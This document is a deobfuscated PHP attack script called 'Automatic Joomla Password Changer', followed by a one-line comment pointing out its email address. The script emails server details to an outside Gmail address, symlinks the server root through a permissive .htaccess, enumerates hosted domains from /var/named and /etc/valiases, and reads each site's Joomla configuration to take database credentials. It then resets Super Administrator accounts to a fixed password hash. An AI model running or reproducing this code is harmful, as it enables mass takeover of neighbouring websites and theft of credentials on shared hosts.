Deobfuscated code:
<?php
ini_set('display_errors','0');
set_time_limit(0);
@session_start();
echo "<p> <center> <font color=red font face='tahoma' size='6pt'>AUTOMATIC JOOMLA PASSWORD CHANGER</center></font> </p>";
echo "<p> <center> <font color=green font face='tahoma' size='4pt'>CODED BY : FORCE EX</center></font> </p>";
echo "<p> <center> <font color=green font face='tahoma' size='4pt'>forc3_x@yahoo.com</center></font> </p>";
echo "<p> <center> <font color=green font face='tahoma' size='4pt'>http://haxorsistz.com</center></font> </p>";
$body=('server ip:'.$_SERVER['SERVER_ADDR'].' '.'Site Name:'.$_SERVER['SERVER_NAME'].' '.'Directory'.dirname('/srv/http/wtf.txt'));
mail('haxorsistz@gmail.com',$_SERVER['SERVER_ADDR'],$body);
$base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']);
@mkdir('sym',0777);
$wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$fp = @fopen ('sym/.htaccess','w');
fwrite($fp,$wr);
@symlink('/','sym/root');
$text=file_get_contents($base_url.'/sym/root/var/named/');
$ar = explode('<li><a href="',$text);
for($vi=2;$vi <count($ar);$vi++)
{
$var1 = strtok($ar[$vi],' ');
$var1 = substr($var1,0,-2);
$old=('.db');
$new=('');
$sites = str_replace($old ,$new ,$var1);
$filename = 'sites.txt';
$fp = fopen($filename,'a+');
$write = fputs($fp,$sites."\n");
fclose($fp);
}
$domainusers=file('sites.txt');
foreach ($domainusers as $domainuser) {
$textexec=('ls -la /etc/valiases/'.$domainuser);
$exec=exec($textexec);
$filename = 'lsla.txt';
$fp = fopen($filename,'a+');
$write = fputs($fp,$exec."\n");
fclose($fp);
}
$lsla=file('lsla.txt');
foreach ($lsla as $finaldom) {
$user=entre2v2($finaldom,'-rw-r----- 1 ',' mail');
$site=substr(strstr($finaldom,'/etc/valiases'),14);
$filename = 'bhung.txt';
$fp = fopen($filename,'a+');
$write = fputs($fp,$user.':'.$site.' ');
fclose($fp);
}
$f=file_get_contents('bhung.txt');
$finals=explode(' ',$f);
foreach ($finals as $final){
$strlen=('6');
$dr=strlen ($final);
if ($dr <$strlen) {
$filename = 'faltu.txt';
$fp = fopen($filename,'a');
$write = fputs($fp,$final);
fclose($fp);
}
else {
$filename = 'gold.txt';
$fp = fopen($filename,'a');
$write = fputs($fp,$final."\n");
fclose($fp);
}
}
unlink ('bhung.txt');
unlink ('faltu.txt');
unlink ('lsla.txt');
unlink ('sites.txt');
$url=($base_url);
$a=file($base_url.'/gold.txt');
echo ('<center><table border=1 cellspacing=1 cellpading=1>
<tr> <th width=200>Domain User</th> <th width=250>Website Name</td><th width=100>CMS</td><th width=200>Status</td></tr>');
foreach ($a as $final) {
list($user,$site_url) = explode(':',$final);
$url2=($url.'/sym/root/home/'.$user.'/public_html/configuration.php');
$configs=file_get_contents($url2);
$old=('$');
$new=('hax0rsistz');
$configfile = str_replace($old ,$new ,$configs);
$username=entre2v2($configfile,"hax0rsistzuser = '","';");
$password=entre2v2($configfile,"hax0rsistzpassword = '","';");
$dbname=entre2v2($configfile,"hax0rsistzdb = '","';");
$dbprefix=entre2v2($configfile,"hax0rsistzdbprefix = '","';");
$strlendbprefix= strlen ($dbprefix);
if ($strlendbprefix >2) {
$link=mysql_connect('localhost',$username,$password) ;
mysql_select_db($dbname,$link) ;
$tryChaningInfo = mysql_query('UPDATE '.$dbprefix."users SET username ='admin' , password = '44a0bcda611514625ba94e0b1c0bdaed:2iets9ydjR3iOdSuyvW54pIzyF9M1P5J' where usertype='Super Administrator'");
$reqpass=('44a0bcda611514625ba94e0b1c0bdaed:2iets9ydjR3iOdSuyvW54pIzyF9M1P5J');
$checkpass= mysql_query('SELECT password FROM '.$dbprefix."users where username='admin'");
$showpass=mysql_fetch_array ($checkpass);
if ($showpass[0]== $reqpass) {
echo "<center><table border=1 cellspacing=1 cellpading=1>
<tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=green> Successful</font></td></tr></table></center>";
}
else {
echo "<center><table border=1 cellspacing=1 cellpading=1><tr><td width=200><font color=green>$user</font></td><td width=250><font color=green>$site_url</font></td><td width=100>Joomla</td><td width=200><font color=red>Failed</td></font></tr></table></center>";
}
}
else {
}
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
$ar0=explode($marqueurDebutLien,$text);
$ar1=explode($marqueurFinLien,$ar0[$i]);
return trim($ar1[0]);
}
function randomt() {
$chars = 'abcdefghijkmnopqrstuvwxyz023456789';
srand((double)microtime()*1000000);
$i = 0;
$pass = '';
while ($i <= 7) {
$num = rand() %33;
$tmp = substr($chars,$num,1);
$pass = $pass .$tmp;
$i++;
}
return $pass;
};
?>
>> haxorsistz@gmail.com
Dat email
